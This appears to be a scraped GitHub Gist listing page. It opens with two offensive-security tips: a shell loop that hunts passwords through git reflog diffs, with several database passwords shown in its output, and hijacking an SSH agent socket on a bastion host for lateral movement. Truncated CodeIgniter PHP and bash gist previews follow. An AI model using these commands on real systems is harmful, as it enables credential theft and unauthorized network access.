Skip to content

Instantly share code, notes, and snippets.

Finding creds in git repos is awesome.

$ for commit in $(seq 1 $(git reflog | wc -l)); do git diff HEAD@{$commit} 2>/dev/null | grep password; done
-spring.datasource.password=g!'301T%y%xT@uL`
+spring.datasource.password=4AT&G;[H@&'\^uDK
-spring.datasource.password=UmAnR=-v|{2=gyx?
+spring.datasource.password=4AT&G;[H@&'\^uDK
...

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld
@gustavonecore
gustavonecore / jobs.php
Last active October 1, 2021 13:05
Codeigniter job server dispatcher
<?php
/**
* Class to handle job execution
*/
class Jobs extends Onecore_Controller
{
const STATUS_DONE = 'done';
const STATUS_QUEUED = 'queued';
const STATUS_RUNNING = 'running';
@rendyananta
rendyananta / Core_Model.php
Last active February 2, 2018 19:40
Custom model for Codeigniter
<?php
defined("BASEPATH") OR exit('No direct script access allowed');
class Core_Model extends CI_Model
{
/**
* Definisi nama tabel
*
* @var $table
*/
@xero
xero / todo.sh
Last active December 9, 2017 10:38
todo.sh
#!/bin/bash
#
# simple todo script
#
# ▓▓▓▓▓▓▓▓▓▓
# ░▓ author ▓ xero <x@xero.nu>
# ░▓ code ▓ http://code.xero.nu/todo
# ░▓ mirror ▓ http://git.io/todo
# ░▓▓▓▓▓▓▓▓▓▓
# ░░░░░░░░░░
@steveosoule
steveosoule / codeiginiter-smart-model.php
Last active February 2, 2018 19:44
CodeIgniter - Smart Model
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
// FROM: http://www.thephpcode.com/blog/view/a-smart-codeigniter-model.html
class MY_Model extends CI_Model {
public $table;
public function __construct()
{
parent::__construct();
// $this->table = get_Class($this);
@dazld
dazld / acl.php
Created April 11, 2012 15:08
Codeigniter (very basic) ACL
<?php
/**
*
*/
class Acl extends CI_Model
{
protected $actions = array();
@tistaharahap
tistaharahap / Hsock.php
Created January 20, 2012 03:35
HandlerSocket Client for CodeIgniter
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* HandlerSocket Library for CodeIgniter
*
* To use this class, please use HandlerSocket's PHP extension available at
* http://code.google.com/p/php-handlersocket/
*
* @package CodeIgniter Library
* @subpackage HandlerSocket